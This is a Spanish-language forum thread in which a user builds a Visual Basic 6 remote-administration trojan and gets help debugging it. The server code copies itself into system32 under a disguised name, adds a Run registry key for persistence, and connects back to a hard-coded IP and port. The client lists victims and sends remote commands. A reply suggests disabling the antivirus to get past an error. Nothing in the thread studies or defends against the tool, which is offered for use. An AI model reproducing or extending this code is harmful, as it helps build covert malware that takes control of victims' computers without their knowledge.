Private Sub Form_Load()
Dim ruta As Variant, Residencia As Variant
Dim win
Dim sys
Dim obj
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\ShaCCorTh.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ShaCCorTh", sys & "\ShaCCorTh.exe"
Ws.RemoteHost = "200.83.238.77"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = True
End Sub
ya la conexion esta bien, pero cuando me corre en system32 no me funciona, y si lo cambio de carpeta si funciona, como puedo solucionar ese problema, mirenlo
(http://img187.imageshack.us/img187/1291/dibujore6.jpg)
Saludos, y gracias
Mira lo e contestado aki: http://foro.elhacker.net/index.php/topic,151715.0.html
Asi te tiene q funcionar a la fuerza...
1S4ludo
jeje, la wea de la segunda imagen no la tomes encuenta, me sale objeto no encontrado , y ya nose que acer
Pero has mirado el post q te e dicho?? viene como hacer todo...
Si me funciono, vi el post, pero no encuntro, nada para que me deje guardar en system32, con ese error 70
Sera el AV (por lo q veo usas el Kav) kitalo del todo q alomejor ese es el prolema...
si, ahi me funciono bien, pero tengo una gran duda
Dim i As Long
Private Sub Com_escuchar_Click()
On Error Resume Next
If Text_puerto.Text = "" Then
MsgBox "Necesitas poner el puerto", vbCritical
Exit Sub
End If
If Text_puerto.Text > 65535 Then
MsgBox "El puerto deve ser entre 1-65535", vbCritical
Text_puerto.Text = ""
Exit Sub
End If
If Com_escuchar.Caption = "Escuchar" Then
Ws(TotalIndex).Close
Ws(TotalIndex).LocalPort = Text_puerto.Text
Ws(TotalIndex).Listen
Label_estado.Caption = "Estado: Escuchando Puerto " & Text_puerto.Text
Text_puerto.Locked = True
Com_escuchar.Caption = "Cerrar"
Else
For i = 0 To TotalIndex
Ws(i).Close
Next
Lc.ListItems.Clear
Text_puerto.Locked = False
Label_estado.Caption = "Estado: Cerrado"
Com_escuchar.Caption = "Escuchar"
End If
End Sub
Private Sub Text_puerto_KeyPress(KeyAscii As Integer)
If KeyAscii = 8 Then Exit Sub
If Not IsNumeric(Chr(KeyAscii)) Then KeyAscii = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
End
End Sub
Private Sub Form_Load()
TotalIndex = 0
Call Lc.ColumnHeaders.Add(, , "Nombre", "1300,0631")
Call Lc.ColumnHeaders.Add(, , "Ip", "2200,2522")
Call Lc.ColumnHeaders.Add(, , "S.O", "1600,7166")
End Sub
Private Sub Lc_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim vindex As Long
On Error Resume Next
If Lc.SelectedItem.Selected = False Then Exit Sub
If Button = 2 Then
PopupMenu mnu_opciones
vindex = Lc.SelectedItem.Selected
End If
End Sub
Private Sub mnu_enviar_men_Click()
On Error Resume Next
frm_mensajes.Show
End Sub
Private Sub mnu_Lista_procesos_Click()
On Error Resume Next
frm_procesos.Show
End Sub
Private Sub mnu_trasnferencia_Click()
On Error Resume Next
frm_transferencia.Show
End Sub
Private Sub mnu_chat_Click()
On Error Resume Next
Envia "Chatini"
frm_chat.Show
End Sub
Private Sub mnu_Paint_Click()
On Error Resume Next
Envia "Paint"
End Sub
Private Sub mnu_Cerrar_server_Click()
On Error Resume Next
Envia "Cerrar"
End Sub
Private Sub Ws_ConnectionRequest(Index As Integer, ByVal requestID As Long)
On Error GoTo error
TotalIndex = TotalIndex + 1
Ws(Index).Close
Ws(Index).Accept requestID
Load Ws(TotalIndex)
Ws(TotalIndex).LocalPort = Text_puerto.Text
Ws(TotalIndex).Listen
error:
End Sub
cuando le doi a escuchar
(http://img120.imageshack.us/img120/6978/dibujoyh2.jpg), ya todo bien, el server se me conecta, ya luego le doi cerrar, y se cierra, lueo le doi escuhar de nuevo, y no hay conexion, pero = me muestra los datos,y veo aki
(http://img238.imageshack.us/img238/8436/dibujoyz5.jpg), y me muestra que hay conexion, pero le di una opcion y me dice que se a perdido la conexion
lo uniko que se demoro como 7 segundos en que aparezca los datos, xq me dice que no hay conexion, pero me llegan los datos y en donde se muetran las coneciones me dice que esta conectado,
y cuando apreto x primera ves el comando escuchar, se conecta en 1 segundo
Pues no se exactamnte como haras pero basicamente lo q hay q hacer es poner un timer q comprueve cada cierto tiempo las conexiones y si no se encuentran conectados los borre de la lista... mira un ejemplo:
Private Sub Timer1_Timer()
On Error Resume Next
Dim vIndex As Variant
Dim i As Long
For i = 1 To ListConexion.ListItems.Count 'Creamos un bucle
vIndex = Split(ListConexion.ListItems(i).Key, "|")
If WS(vIndex(0)).State <> 7 Then 'Si no estamos conectado
ListConexion.ListItems.Remove (i) 'Elimnaos la conexion
End If
Ponle un intervalo 10 o asi...
1S4ludo